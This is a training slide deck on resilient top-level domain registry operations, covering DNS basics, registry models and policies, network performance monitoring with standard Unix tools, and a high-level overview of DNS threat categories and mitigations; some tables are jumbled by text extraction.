DNS Resilient

Introduction to
Resilient TLD Operations

John Crain
Chris Evans
Welcome
Thank you!
APTLD Leonid Todorov
ICANN Steve Conte & John Crain
Introductions
Name?
Organization?
Duties?
Agenda
DNS Fundamentals
DNS TLD Registries
Performance Monitoring
DNS Threats
Incident Management & Response
Resilient Enterprises
Administrivia
During the course:
Ask questions when you have them no need to wait
Your experiences are valuable please share them
Schedule can be flexible just ask!
Course Web Page

http://files.delta-risk.net/projects/ICANN-Jakarta/
Questions before we begin?
DNS FUNDAMENTALS
What is the DNS?

The Domain Name System (DNS) helps users to find their way around
the Internet
-- ICANN
The DNS is a distributed and hierarchical system of servers

which translates human readable names (identifiers) to
addresses
This allows people to remember simple names (e.g.
www.first.org instead of the actual server address,
213.129.76.19)
This is even more of a necessity with the advent of IPv6
Instead of 12 numbers for an address, there are 32 characters!
128.63.2.53
IPv4
H.ROOT-SERVERS.NET
2001:500:1::803F:235
IPv6
8
What is the DNS?

The DNS is Often Compared to a Telephone
Book
-- ICANN
Every computer accessible on the Internet has a

unique address, something like a telephone number,
called an IP address
A unique name is given to each accessible computer,
which maps to the IP address
The DNS provides resolution of these names to IP
addresses in a very transparent manner
9
What is the DNS?

Key Elements of the DNS
Resolution
This is what the DNS does translates names to addresses
Distributed
There are literally millions of DNS servers all over the world. This
adds resiliency to the system if one goes down there is usually
another that can function in its place.
Hierarchical
Responsibility for a DNS server for any given domain is delegated
to the respective owner of that domain, who, in turn, may
outsource those functions to a provider.
icann.org
Consistent
st.icann.org
www.icann.org
Ideally, the same answer is provided regardless of the DNS server

being queried.
10
A Brief History
March 1982 - Ken Harrenstien (et all) releases RFC 811
governing use of a hostname server with a centrally
managed file which contains names and addresses.
The ARPANet grows People want local control
November 1983 Paul Mokapetris releases RFC 882
and RFC 883 governing the concepts and operation of
the DNS.
November 1987 Paul Mokapetris releases RFC 1033
and RFC 1034 which refine the DNS.
The core pieces havent changed since (23 years)
11
DNS Operation
At a core level, the DNS is comprised of
Queries and Answers.
A user sends a query through a resolver to a
server. The server responds with an answer
to the query.
Query: What is www.icann.org?
User
Answer: 192.0.32.7
DNS Server
12
DNS Operation
A DNS packet is structured as such
A packet can be up to 65535 bytes in length
It can have multiple queries and answers.
In theory most DNS servers will respond to only the first
query and ignore the rest.
Thats a lot of room for malicious

purposes
http://unixwiz.net/images/dns-query-packet.gif
13
DNS Operation
Root
ISP
.org
User
icann
.org
pir
.org
first
.org
14
DNS Operation
A Tree view of the DNS
. (Root)
ISP
.COM
User
example.
com
www.example.com
.ORG
icann
.org
ftp.icann.org
15
DNS From Top To Bottom

The Root Servers
A collection of 13 servers
around the world, A M.
Actually, there are 202
servers, all mirrors of the
same root zone data
All are independently run by

root operators
Highly redundant, resilient,
with diverse implementations
Provide pointers to the
authoritative name servers
www.root-servers.org
16

Example of what the root
servers provide:
BF. NS CASTOR.TELEGLOBE.NET.
BF. NS NAHOURI.ONATEL.BF.
BF. NS NS1.IRD.FR.
BG. NS SUNIC.SUNET.SE.
BG. NS NS-EXT.VIX.COM.
BG. NS NS.REGISTER.BG.
BG. NS NS-BG.RIPE.NET
NAHOURI.ONATEL.BF. A 206.82.130.196
AUTH01.CONNECT.IE. A 213.228.227.50
OSI2.GUA.NET. A 205.161.188.3
NS.PA. A 168.77.8.2
These are the pointers to the
PARAU.OYSTER.NET.CK. A 202.65.32.128
authoritative name servers
PASCAL.NIC.PR. A 134.202.0.120
for a domain
NS2.CUHK.EDU.HK. A 137.189.6.21
NS2.CUHK.EDU.HK. AAAA 2405:3000:3:60:0:0:0:21
17

Authoritative Servers
Provides definitive
answers to queries for
resources in their
domains
ns.icann.org is an
These
are usuallyserver
delegated
authoritative
for to the owner of the
domain,
but sometimes
outsourced.
any queries
to
*.icann.org
These
can be run by individuals, businesses,
organizations, governments, really, anyone!
18
DNS From Top to Bottom

Authoritative servers publish Registration &
Delegation information
When a user requests a new name to be added to the
DNS, its called a registration
When the registry assigns the name to the user, its called
a delegation they become the owners of the domain
and responsibility for any sub-domains falls to them.
Typically, their name, contact, and billing information is all
thats required but this varies greatly!
Theres no standard for registrations or
delegations so Ill pick whichever has the least
restrictive policies!
19

An example of a registration on a BIND DNS server
We control the .foo domain
A registrant wants to register a host www.foo they choose the name
and provide an IP address
New Registration
Registrations are not typically made at the top level domain delegations are
usually done here.
20

If we query for our new registration, well see
it
New Registration
21

An example of a delegation on a BIND DNS server
We control the .foo domain
A registrant wants to register a subdomain oof they
choose the name, and provide authoritative nameserver
information
New Delegation
22

Any queries for the new subdomain should fail
because the authoritative nameserver doesnt exist
(aka a lame delegation)
Queries to the
Authoritative
Server
23

Caching / Recursive Servers
These servers interface with
authoritative servers to answer
queries.
Answers are cached to speed
up responses to users and reduce
traffic to root servers
Usually run by ISPs for customers,
but should be configured for
customer use only!
Open resolvers answer queries from
anyone on the net.
There are many of these

servers on the net
See http://dns.measurementfactory.com/surveys/openresolver
s.html for more information!
24

Users & Stub Resolvers
Not just people, these could also
be applications & servers
A stub resolver is a simple
utility which forms queries and
asks a recursive server for the
answer.
Remember, users also can be
registrants the people who
register domain names
An operating system will typically

provide a stub resolver for its users
25

The DNS Should be Considered Critical Infrastructure,
and as such, it has a lot of resilience built-in to the
system:
Primary and Secondary Servers a zone may have several
servers which respond to queries
Hidden Masters the master server cant be queried
directly it merely replicates data to the Slave servers
Anycasted Servers BGP routing forward queries to
closest server
How Does All of This Stay in Sync?

Zone Transfers (aka AXFR) secondary requests update
from primary
26
DNS TLD REGISTRIES
27
Registry Structures
Registries Come in All Shapes and Sizes
Structure, Technical Implementation, Goals &
Policies
Models Define How the Registry Operates

2R vs. 3R
Thick vs. Thin
2 vs. 3 Levels
28
Registry Structures
Registry 2R Model
Registry - Registrant
Registry provides direct registrations to consumers
Registrants request domains directly through registry
Simple model
Doesnt scale without
lots of work from registry
Direct customer
relationships
Registry
Registrant
Registrant
29
Registry Structures
Registry 2R Model
Registry - Registrant
Registry provides direct registrations to consumers
Registrants request domains directly through registry or
optionally through a direct reseller
Registry
Reseller
Simple model
Direct customer
relationships
Offloads some customer
interface work from
registry to reseller
Registrant
Registrant
30
Registry Structures
Registry 3R Model
Registry Registrar Registrant
Registrars interface between customer and registry
Registry
Registrar
Registrar
Reseller
More stakeholders ->

more policies / business
models
Less work for registry
(automation / EPP)
Focus on DNS services
Registrant
Registrant
31
Registry Structures
Registries can define WHERE their customer
administrative data resides (WHOIS)
Thick the registry stores all customer data for
registrations regardless of _WHERE_ it originates (direct,
registrar)
Thin Registrars manage all customer data for their
registrants and serve this information via WHOIS
TLD
TLD
Registrar
WHOIS
Registrar
Thick
WHOIS
Registrar
Thin
32
Registry Structures
Registries define how subdomains are permitted
either at the top or second level.
Top level delegations fall immediately under the
top level
E.g. www.google.jo
Second level delegations fall under a generic

domain, under the top level
E.g. www.moict.gov.jo
Registries can pick one or the other, or do both!

33
Notional ccTLD Architecture

Combining Robustness & Resiliency
NS3
Internal
NS1
External
International
User
Registrant
NS4
Internal
NS2
External
User
34
NS3
Internal
NS1
External
International
User
Registrant
NS4
Internal
NS2
External
User
Registrant Requests Assignment, Updates, Removal

35
NS3
Internal
NS1
External
International
User
Registrant
NS4
Internal
NS2
External
User
Authentication for Registrant Requests

36
NS3
Internal
NS1
External
International
User
Registrant
NS4
Internal
NS2
External
User
Authorization for Internal

Registrar Changes
37

Entire Registry Offsite Backup
NS3
Internal
NS1
External
International
User
Registrant
NS4
Internal
NS2
External
User
38

Registry Publishes and Maintains Assignments
NS3
Internal
NS1
External
International
User
Registrant
NS4
Internal
NS2
External
User
39
NS3
Internal
NS1
External
International
User
Registrant
NS4
Internal
NS2
External
User
Alternate Registry Server and Database

40
NS3
Internal
NS1
External
International
User
Registrant
NS4
Internal
NS2
External
User
Country Localized DNS Servers

41
NS3
Internal
NS1
External
International
User
Registrant
NS4
Internal
NS2
External
User
Country Localized User

42

Firewall
NS3
Internal
NS1
External
International
User
Registrant
NS4
Internal
NS2
External
User
43

Primary Global DNS
NS3
Internal
NS1
External
International
User
Registrant
NS4
Internal
NS2
External
User
44

Primary External Gateway
NS3
Internal
NS1
External
International
User
Registrant
NS4
Internal
NS2
External
User
45
NS3
Internal
NS1
External
International
User
Registrant
NS4
Internal
NS2
External
User
Secondary Global DNS Server

Anycasting with Geographic Separation
46
NS3
Internal
NS1
External
International
User
Registrant
NS4
Internal
NS2
External
User
Secondary External Gateway
47
NS3
Internal
NS1
External
International
User
Registrant
NS4
Internal
NS2
External
User
International User
48
Policies
Policies govern how registries operate, from internal
workings to dealing with customers.
Policies can be derived from operational necessities,
business goals, or best practices in use by other registries
Policies vary by registry and vary nearly as widely as the
registries themselves.
Its important for registries to define policies to respond and
operate in a consistent manner
Frequently, there is no right or wrong policy what matters
is the registrys definition of that policy.
The wrong policy is NO policy
49
Policy
Registrant Requirements
This policy defines the requirements to register a
domain with the registry; specifically addresses issues
like residency or ownership
Things that may restrict registrations to only local

or national entities:
Desire to limit competition from foreign entities
Desire for nationalism
Things that may encourage registration from

foreign entities:
Access to a larger pool of customers
50
Policy
Dispute Resolution
A controversial subject; one that is used infrequently, but
must be defined before its needed!
Disputes may arise between potential registrants for a
domain name each claiming the right to register it,
- or -
- Disputes may arise between current registrant a one that

desires ownership of the domain
Policy should define the notion of ownership, the

process of determining ownership, and process for
arbitrating a claim of ownership
First come / first served = ownership
International trademark or copyright = ownership
51
Policy
Registration Process
This policy defines how the registry accepts requests
for registrations, validates, and publishes them
Usually defined by operational necessity
Larger registries that process hundreds of registrations per
day will use automated processes as much as possible
Smaller registries may use manual processes
Policy should cover registrant data verification

Automated, multi-factor, out-of-band, etc
Desire to detect and restrict malicious registrations?
How should the registry define malicious?
Tough
Question!
52
Policy
Information Release (WHOIS)
This policy defines how the registry handles privacy
information and what information it publicly publishes
The traditional approach is to publish administrative and
technical point of contact information for each domain
BUT, some registries / registrars offer a anonymous registration
service which publishes empty or generic information
This may be governed by local, national, or organizational

privacy policies.
This policy should cover what information can be

published, to who & where, how the policy is
conveyed to registrants, and what to release to law
enforcement or government agencies.
53
Policy
Pricing / Funding Model
This policy defines how much domain registrations, their
renewal, transfer or other action cost.
Additional or value-added services may also be defined
This policy should address costs to registrants, registrars

and resellers accordingly and is likely defined by the
registrys business model.
Registries set their own prices, from free to $$$$
Some registries are funded by their governments, some are
non-profits, some are for-profit corporations.
Competition with gTLDs (e.g. .COM) may drive pricing decisions
Prices may be different for local and foreign registrants, for
resellers, and for registrars
54
Policy
Permissible Registrations
This policy defines what domain names may be
registered
Factors affecting permissible registrations:

Religion & Culture some names may be offensive
Technical some characters are disallowed by the
RFC, or some may not be allowed by the registry
system
Operational International Domain Names may not
be supported
Business some names may be restricted based on
international trademarks or intellectual property
55
Policy
Takedown
A very controversial topic, this defines how the registry
may temporarily or permanently deactivate a registration
More importantly, under what circumstances it may do so.
Policy should account for:
Business concerns / loss of revenue

Upset customers?
Malicious use (what is malicious?)
Legality of denying freedom of speech
Fallout of not following a government / law enforcement
order
56
A Hypothetical Example
Lets take the simple example of a registration made for the purpose
of conducting a phishing attack.
The domain name closely resembles that used by an international
bank
The registrant provides fake name and address for registration
The registrant uses the domain to propagate a phishing attack,
soliciting bank customers for their usernames and passwords.
Whos responsible and whos accountable?
The malicious registrant? How do you find him?
The registry? They didnt validate the registrant but they get 5000
registrations a day how can they?
The bank? They didnt educate their customers on phishing attacks
The bank user?
57
Take Aways
The DNS operationally is simple; organizationally, its a much
different story there are many (widely varying) stakeholders
involved
Policies define how registries operate, but are frequently illdefined and untested
Unlike the traditional network security world, which has
CERTs and NOCs focusing on operating systems and
applications, the DNS has no equivalent structure for focusing
on security
58
PERFORMANCE MONITORING
59
Network Performance Metrics
Planning performance management
Metrics
Network
Systems
Services
Definitions
Adapted from IROC Hervey Allen & Phil Regnauld - NSRC
Planning
What's the intention?

Baselining,
Defend
Troubleshooting, Planning growth
yourself from accusations -it's the network!
Who is the information for?

Administration,
How
NOC, customers
to structure and present the information
Reach: Can I measure everything?
Impact on devices (measurements and measuring)

Balance between amount of information and time to get
it
Metrics
Network performance metrics
Channel capacity, nominal & effective
Channel utilization
Delay and jitter
Packet loss and errors
62
Metrics
System performance metrics
Availability
Memory, CPU Utilization, load, I/O wait, etc.
Service performance metrics

Wait time / Delay
Availability
How can I justify maintaining the service?
Who is using it? How often?
Economic value? Other value?
63
Common Network Performance

Measurements
Relative to traffic:
Bits per second
Packets per second
Unicast vs. non-unicast packets
Errors
Dropped packets
Flows per second
Round trip time (RTT)
Jitter (variation between packet RTT)
64
Nominal Channel Capacity

The maximum number of bits that can be
transmitted for a unit of time (eg: bits per second)
Depends on:
Bandwidth of the physical medium
Cable
Electromagnetic waves
Processing capacity for each transmission element

Efficiency of algorithms in use to access medium
Channel encoding and compression
65
Effective Channel Capacity

Always a fraction of the nominal channel
capacity
Dependent on:
Additional overhead of protocols in each layer
Device limitations on both ends
Flow control algorithm efficiency, etc.
For example: TCP
66
Channel Utilization
What fraction of the nominal channel
capacity is actually in use
Important!
Future planning
What utilization growth rate am I seeing?
For when should I plan on buying additional capacity?
Where should I invest for my updates?
Problem resolution
Where are my bottlenecks, etc.
67
95th Percentile
The smallest value that is larger than 95% of the
values in a given sample
This means that 95% of the time the channel
utilization is equal to or less than this value
Or rather, the peaks are discarded from consideration
Why is this important in networks?

Gives you an idea of the standard, sustained channel
utilization.
ISPs use this measure to bill customers with larger
connections.
68
95th Percentile
Example of traffic above 95% of normal
69
Bits per second vs Packets p.s.
70
End-to-end Delay
The time required to transmit a packet along
its entire path
Created by an application, handed over to the OS,
passed to a network card (NIC), encoded,
transmitted over a physical medium (copper,
fibre, air), received by an intermediate device
(switch, router), analyzed, retransmitted over
another medium, etc.
The most common measurement uses ping for
total round-trip-time (RTT).
71
Historical Measurement of Delay

Example of RTT measurements over 30 hours
72
Jitter
From Smokeping
73
Local Analysis
As we know...
Before we blame the network, let's verify
whether the problem is ours.
What can go wrong locally?
Hardware problems
Excessive load (CPU, memory, I/O)
What's considered 'normal'?

Use analysis tools frequently
Become familiar with the normal state and values
for your machine.
It is essential to maintain history

SNMP agents and databases
74
Linux Performance Analysis

Three main categories:
Processes
Processes that are executing (running)
Processes that are waiting (sleeping)
waiting their turn
blocked
Memory
Real
Virtual
I/O (Input/Output)
Storage
Network
75
Key Indicators
Insufficient CPU
Number of processes waiting to execute is always high
High CPU utilization (load avg.)
Insufficient memory
Very little free memory
Lots of swap activity (swap in, swap out)
Slow I/O
Lots of blocked processes
High number of block transfers
76
Local Analysis
Luckily, in Unix there are dozens of useful
tools that give us lots of useful information
about our machine
Some of the more well-known include:
vmstat
top
lsof
netstat
- tcpdump
- wireshark (ethereal)
- iptraf
- iperf
77
vmstat
Show periodic summary information about
processes, memory, pagin, I/O, CPU state, etc
vmstat <-options> <delay> <count>

# vmstat 2
procs
r b
2 0
2 0
1 0
1 0
2 0
1 0
2 0
2 0
-----------memory---------- ---swap-- -----io---- --system-- ----cpu---swpd

free
buff cache
si
so
bi
bo
in
cs us sy id wa
209648 25552 571332 2804876
0
0
3
4
3
3 15 11 73 0
209648 24680 571332 2804900
0
0
0
444 273 79356 16 16 68 0
209648 25216 571336 2804904
0
0
6 1234 439 46735 16 10 74 0
209648 25212 571336 2804904
0
0
0
22 159 100282 17 21 62 0
209648 25196 571348 2804912
0
0
0
500 270 82455 14 18 68 0
209648 25192 571348 2804912
0
0
0
272 243 77480 16 15 69 0
209648 25880 571360 2804916
0
0
0
444 255 83619 16 14 69 0
209648 25872 571360 2804920
0
0
0
178 220 90521 16 18 66 0
78
top
Basic performance tool for Unix/Linux
environments
Periodically show a list of system performance
statistics:
CPU use
RAM and SWAP memory usage
Load average (cpu utilization)
Information by process
79
top cont.
Information by process (most relevant
columns shown):
PID: Process ID
USER: user running (owner) of the process
%CPU: Percentage of CPU utilization by the
process since the last sample
%MEM: Percentage of physical memory (RAM)
used by the process
TIME: Total CPU time used by the process since it
was started
80
netstat
Show us information about:
Network connections
Routing tables
Interface (NIC) statistics
Multicast group members
81
netstat
Some useful options
-n: Show addresses, ports and userids in numeric form
-r: Routing table
-s: Statistics by protocol
-i: Status of interfaces
-l: Listening sockets
--tcp, --udp: Specify the protocol
-A: Address family [inet | inet6 | unix | etc.]
-p: Show the name of each process for each port
-c: Show output/results continuously
82
netstat
Examples:
# netstat -n --tcp -c
Active Internet connections (w/o servers)
Proto Recv-Q Send-Q Local Address
tcp
0
272 ::ffff:192.188.51.40:22
tcp
0
0 ::ffff:192.188.51.40:22
Foreign Address
::ffff:128.223.60.27:60968
::ffff:128.223.60.27:53219
State
ESTABLISHED
ESTABLISHED
Foreign Address
0.0.0.0:*
0.0.0.0:*
State
LISTEN
LISTEN
# netstat -lnp --tcp

Active Internet connections (only servers)
tcp
0
0 0.0.0.0:199
tcp
0
0 0.0.0.0:3306
PID/Program name
11645/snmpd
1997/mysqld
# netstat -ic
Kernel Interface table
Iface
MTU Met
RX-OK RX-ERR RX-DRP RX-OVR
eth0
1500
0 2155901
0
0
0
lo
16436
0
18200
0
0
0
eth0
1500
0 2155905
0
0
0
lo
16436
0
18200
0
0
0
eth0
1500
0 2155907
0
0
0
lo
16436
0
18200
0
0
0
eth0
1500
0 2155910
0
0
0
lo
16436
0
18200
0
0
0
eth0
1500
0 2155913
0
0
0
TX-OK TX-ERR TX-DRP TX-OVR Flg

339116
0
0
0 BMRU
18200
0
0
0 LRU
339117
0
0
0 BMRU
18200
0
0
0 LRU
339120
0
0
0 BMRU
18200
0
0
0 LRU
339122
0
0
0 BMRU
18200
0
0
0 LRU
339124
0
0
0 BMRU
83
netstat cont.
Examples:
# netstat tcp listening --program
tcp
0
0 *:5001
tcp
0
0 localhost:mysql
tcp
0
0 *:www
tcp
0
0 t60-2.local:domain
tcp
0
tcp
0
tcp
0
0 localhost:domain
tcp
0
0 localhost:ipp
tcp
0
0 localhost:smtp
tcp
0
0 localhost:953
tcp
0
0 *:https
tcp6
0
0 [::]:ftp
tcp6
0
0 [::]:domain
tcp6
0
0 [::]:ssh
tcp6
0
0 [::]:3000
tcp6
0
0 ip6-localhost:953
tcp6
0
0 [::]:3005
Foreign Address
*:*
*:*
*:*
*:*
*:*
*:*
*:*
*:*
*:*
*:*
*:*
[::]:*
[::]:*
[::]:*
[::]:*
[::]:*
[::]:*
State
LISTEN
LISTEN
LISTEN
LISTEN
LISTEN
LISTEN
LISTEN
LISTEN
LISTEN
LISTEN
LISTEN
LISTEN
LISTEN
LISTEN
LISTEN
LISTEN
LISTEN
PID/Program name
13598/iperf
5586/mysqld
7246/apache2
5378/named
5378/named
5378/named
5378/named
5522/cupsd
6772/exim4
5378/named
7246/apache2
7185/proftpd
5378/named
5427/sshd
17644/ntop
5378/named
17644/ntop
84
netstat cont.
$ sudo netstat -atup
Active Internet connections (servers and established) (if run as root PID/Program name is
included)
Foreign Address
State
PID/Program name
tcp
0
0 *:35586
*:*
LISTEN
2540/ekpd
tcp
0
0 localhost:mysql
*:*
LISTEN
2776/mysqld
tcp
0
0 *:www
*:*
LISTEN
14743/apache2
tcp
0
0 d229-231.uoregon:domain *:*
LISTEN
2616/named
tcp
0
0 *:ftp
*:*
LISTEN
3408/vsftpd
tcp
0
0 localhost:domain
*:*
LISTEN
2616/named
tcp
0
0 *:ssh
*:*
LISTEN
2675/sshd
tcp
0
0 localhost:ipp
*:*
LISTEN
3853/cupsd
tcp
0
0 localhost:smtp
*:*
LISTEN
3225/exim4
tcp
0
0 localhost:953
*:*
LISTEN
2616/named
tcp
0
0 *:https
*:*
LISTEN
14743/apache2
tcp6
0
0 [::]:domain
[::]:*
LISTEN
2616/named
tcp6
0
0 [::]:ssh
[::]:*
LISTEN
2675/sshd
tcp6
0
0 ip6-localhost:953
[::]:*
LISTEN
2616/named
udp
0
0 *:50842
*:*
3828/avahi-daemon:
udp
0
0 localhost:snmp
*:*
3368/snmpd
udp
0
0 d229-231.uoregon:domain *:*
2616/named
udp
0
0 localhost:domain
*:*
2616/named
udp
0
0 *:bootpc
*:*
13237/dhclient
udp
0
0 *:mdns
*:*
3828/avahi-daemon:
udp
0
0 d229-231.uoregon.ed:ntp *:*
3555/ntpd
udp
0
0 localhost:ntp
*:*
3555/ntpd
udp
0
0 *:ntp
*:*
3555/ntpd
udp6
0
0 [::]:domain
[::]:*
2616/named
udp6
0
0 fe80::213:2ff:fe1f::ntp [::]:*
3555/ntpd
udp6
0
0 ip6-localhost:ntp
[::]:*
3555/ntpd
85
udp6
0
0 [::]:ntp
[::]:*
3555/ntpd
lsof (LiSt of Open Files)

lsof is particularly useful because in Unix
everything is a file: unix sockets, ip sockets,
directories, etc.
Allows you to associate open files by:
-p: PID (Process ID)
-i : A network address (protocol:port)
-u: A user
86
lsof
Example:
First, using netstat -ln tcp determine that port
6010 is open and waiting for a connection
(LISTEN)
# netstat -ln --tcp
Foreign Address
State
tcp
tcp
0.0.0.0:*
0.0.0.0:*
LISTEN
0
0
0 127.0.0.1:6010
0 127.0.0.1:6011
LISTEN
87
lsof
Determine what process has the port (6010) open
and what other resources are being used:
# lsof -i tcp:6010
COMMAND
PID
sshd
sshd
10301 root
10301 root
USER
FD
6u
7u
TYPE DEVICE SIZE NODE NAME

IPv4
IPv6
53603
53604
TCP localhost.localdomain:x11-ssh-offset (LISTEN)

TCP [::1]:x11-ssh-offset (LISTEN)
# lsof -p 10301
COMMAND
sshd
sshd
sshd
sshd
sshd
sshd
sshd
sshd
sshd
sshd
sshd
sshd
sshd
...
PID
10301
10301
10301
10301
10301
10301
10301
10301
10301
10301
10301
10301
10301
USER
root
root
root
root
root
root
root
root
root
root
root
root
root
FD
cwd
rtd
txt
mem
mem
mem
mem
mem
mem
mem
mem
mem
mem
TYPE
DIR
DIR
REG
REG
REG
REG
REG
REG
REG
REG
REG
REG
REG
DEVICE
8,2
8,2
8,2
8,2
8,2
8,2
8,2
8,2
8,2
8,2
8,2
8,2
8,2
SIZE
4096
4096
379720
32724
15088
75632
96040
100208
11684
10368
7972
30140
11168
NODE
2
2
1422643
1437533
3080329
1414093
3080209
1414578
1414405
3080358
3080231
1420233
3080399
NAME
/
/
/usr/sbin/sshd
/usr/lib/libwrap.so.0.7.6
/lib/libutil-2.4.so
/usr/lib/libz.so.1.2.3
/lib/libnsl-2.4.so
/usr/lib/libgssapi_krb5.so.2.2
/usr/lib/libkrb5support.so.0.0
/lib/libsetrans.so.0
/lib/libcom_err.so.2.1
/usr/lib/libcrack.so.2.8.0
/lib/security/pam_succeed_if.so
88
lsof cont.
What network services am I running?
# lsof -i
COMMAND
PID
USER
FD
firefox
4429
hervey
50u
>128.223.60.21:www (ESTABLISHED
named
5378
bind
20u
named
5378
bind
21u
sshd
5427
root
3u
cupsd
5522
root
3u
mysqld
5586
mysql
10u
snmpd
6477
snmp
8u
exim4
6772 Debian-exim
3u
ntpd
6859
ntp
16u
ntpd
6859
ntp
17u
ntpd
6859
ntp
18u
ntpd
6859
ntp
19u
proftpd
7185
proftpd
1u
apache2
7246
www-data
3u
apache2
7246
www-data
4u
...
iperf
13598
root
3u
apache2
27088
www-data
3u
apache2
27088
www-data
4u
TYPE DEVICE SIZE NODE NAME

IPv4 1875852
TCP 192.168.179.139:56890IPv6
13264
IPv4
13267
IPv6
13302
IPv4 1983466
IPv4
13548
IPv4
14633
IPv4
14675
IPv4
14743
IPv6
14744
IPv6
14746
IPv6
14747
IPv6
15718
IPv4
15915
IPv4
15917
TCP
TCP
TCP
TCP
TCP
UDP
TCP
UDP
UDP
UDP
UDP
TCP
TCP
TCP
*:domain (LISTEN)
localhost:domain (LISTEN)
*:ssh (LISTEN)
localhost:ipp (LISTEN)
localhost:mysql (LISTEN)
localhost:snmp
localhost:smtp (LISTEN)
*:ntp
*:ntp
[fe80::250:56ff:fec0:8]:ntp
ip6-localhost:ntp
*:ftp (LISTEN)
*:www (LISTEN)
*:https (LISTEN)
IPv4 1996053
IPv4
15915
IPv4
15917
TCP *:5001 (LISTEN)

TCP *:www (LISTEN)
TCP *:https (LISTEN)
89
iptraf
Many measurable statistics and functions
By protocol/port
By packet size
Generates logs
Utilizes DNS to translate addresses
Advantages
Simplicity
Menu-based (uses curses)
Flexible configuration
90
iptraf
You can run it periodically in the background
(-B)
It allows you, for example, to run as a cron job to
periodically analyze logs.
Generate alarms
Save in a data base
Has a great name... Interactive Colorful IP LAN
Monitor
etc...
Example: iptraf -i eth1

91
iptraf i eth0
Sample iptraf output from the above command:
92
iperf
To measure network throughput between two
points
iperf has two modes, server and
client
Easy to use
Great to help determine optimal TCP parameters
TCP window size (socket buffer)
MTU maximum segment size
See man iperf for more
93
iperf
Using UDP you can generate packet loss and jitter
reports
You can run multiple parallel sessions using threads
Supports IPv6
94
iperf parameters
Usage: iperf [-s|-c host] [options]
iperf [-h|--help] [-v|--version]
Client/Server:
-f, --format [kmKM] format to report: Kbits, Mbits, KBytes, MBytes
-i, --interval #
seconds between periodic bandwidth reports
-l, --len
#[KM] length of buffer to read or write (default 8 KB)
-m, --print_mss
print TCP maximum segment size (MTU - TCP/IP header)
-p, --port
#
server port to listen on/connect to
-u, --udp
use UDP rather than TCP
-w, --window #[KM] TCP window size (socket buffer size)
-B, --bind
<host> bind to <host>, an interface or multicast address
-C, --compatibility
for use with older versions does not sent extra msgs
-M, --mss
#
set TCP maximum segment size (MTU - 40 bytes)
-N, --nodelay
set TCP no delay, disabling Nagle's Algorithm
-V, --IPv6Version
Set the domain to IPv6
Server specific:
-s, --server
-U, --single_udp
-D, --daemon
run in server mode

run in single threaded UDP mode
run the server as a daemon
Client specific:
-b, --bandwidth #[KM] for UDP, bandwidth to send at in bits/sec
(default 1 Mbit/sec, implies -u)
-c, --client <host> run in client mode, connecting to <host>
-d, --dualtest
Do a bidirectional test simultaneously
-n, --num
#[KM] number of bytes to transmit (instead of -t)
-r, --tradeoff
Do a bidirectional test individually
-t, --time
#
time in seconds to transmit for (default 10 secs)
-F, --fileinput <name> input the data to be transmitted from a file
-I, --stdin
input the data to be transmitted from stdin
-L, --listenport #
port to recieve bidirectional tests back on
-P, --parallel #
number of parallel client threads to run
-T, --ttl
#
time-to-live, for multicast (default 1)
95
iperf - TCP
$ iperf -s
-----------------------------------------------------------Server listening on TCP port 5001
TCP window size: 85.3 KByte (default)
-----------------------------------------------------------[ 4] local 128.223.157.19 port 5001 connected with 201.249.107.39 port 39601
[ 4] 0.0-11.9 sec 608 KBytes 419 Kbits/sec
-----------------------------------------------------------# iperf -c nsrc.org
-----------------------------------------------------------Client connecting to nsrc.org, TCP port 5001
TCP window size: 16.0 KByte (default)
[ 3] 0.0-10.3 sec 608 KBytes 485 Kbits/sec
96
iperf - UDP
# iperf -c host1 -u -b100M
-----------------------------------------------------------Client connecting to nsdb, UDP port 5001
Sending 1470 byte datagrams
UDP buffer size:
106 KByte (default)
[ 3] 0.0-10.0 sec
114 MBytes 95.7 Mbits/sec
[ 3] Sent 81377 datagrams
[ 3] Server Report:
[ 3] 0.0-10.0 sec
114 MBytes 95.7 Mbits/sec 0.184 ms
1/81378 (0.0012%)
$ iperf -s -u -i 1
-----------------------------------------------------------Server listening on UDP port 5001
Receiving 1470 byte datagrams
UDP buffer size:
108 KByte (default)
[ 3] 0.0- 1.0 sec 11.4 MBytes 95.4 Mbits/sec 0.184 ms
0/ 8112 (0%)
0/ 8141 (0%)
0/ 8133 (0%)
...
0/ 8139 (0%)
[ 3] 9.0-10.0 sec 11.4 MBytes 95.7 Mbits/sec 0.180 ms
0/ 8137 (0%)
[ 3] 0.0-10.0 sec
114 MBytes 95.7 Mbits/sec 0.184 ms
1/81378 (0.0012%)
97
Bibliography
Monitoring Virtual Memory with vmstat
http://www.linuxjournal.com/article/8178
How to use TCPDump

http://www.erg.abdn.ac.uk/users/alastair/tcpdump.html
linux command tcpdump example
http://smartproteam.com/linux-tutorials/linux-command-tcpdump/
simple usage of tcpdump

http://linux.byexamples.com/archives/283/simple-usage-of-tcpdump/
TCPDUMP Command man page with examples

http://www.cyberciti.biz/howto/question/man/tcpdump-man-page-with-examples.php
TCPDump Tutorial
http://inst.eecs.berkeley.edu/~ee122/fa06/projects/tcpdump-6up.pdf
98
DNS THREATS
99
Cyber Threats
Open Question What Cyber Threats
Concern You?
Disruption of DNS Resolution Services
Falsified Registrant Information
Someone Stealing Your Customer Data
Hackers using Your Registry for BotNet Control
100
100
Foothold
Reconnaissance & Enumeration
Privilege Escalation
Some Attacks May Involve Multiple
Corruption
Categories
Disruption
Data Exfiltration
Time & Effort
Persistence
Foothold
Recon & Enum
Priv Esc.
Persistence
Malicious Use
Corruption
Data Exfiltration
Disruption
Concurrency
Cyber Threat Categorization
Malicious Use
101
Foothold
Initial attempts to access and establish a remote connection
into the network
Direct
SQL Injection, Operating System Exploits
Indirect
Phishing Email with Malware Attachments
Website Hosted Malware Installations
Motivations
Gain Access for Future Attacks
This is usually an
enabling attack
102
Foothold Attacks
These attacks will target your servers and
workstations anything that is accessible over the
network
Accessible Email, Web,
Remote Administration, etc
NS
NS
103
Foothold Attacks - Phishing
http://news.softpedia.com/news/PDF-Based-Targeted-AttackAgainst-Military-Contractors-Spotted-212139.shtml
fraudwatchinternational.com
104
Foothold Attacks Mitigating

Strategies
Awareness & Education
Phishing Exercises
Intrusion Detection Systems

Critical Application Code Reviews
Externally Visible System & Application Patching
Access Control
White listing
Conduct Regular Vulnerability Scans

Finds common holes which an attacker can exploit
Others?
105

The act of scanning a network to determine its layout,
hosts, services, users, and other information which
may be useful in a cyber attack
Network Mapping
Port Scanning
Motivations
Political : DNS Administrators May List Sensitive

Information in Zone Comments
Financial : Can be Used to Find Addresses That are NOT
Currently Registered for Domain Squatting
Malicious: Can be Used to Obtain Information for Use in
Future Attacks
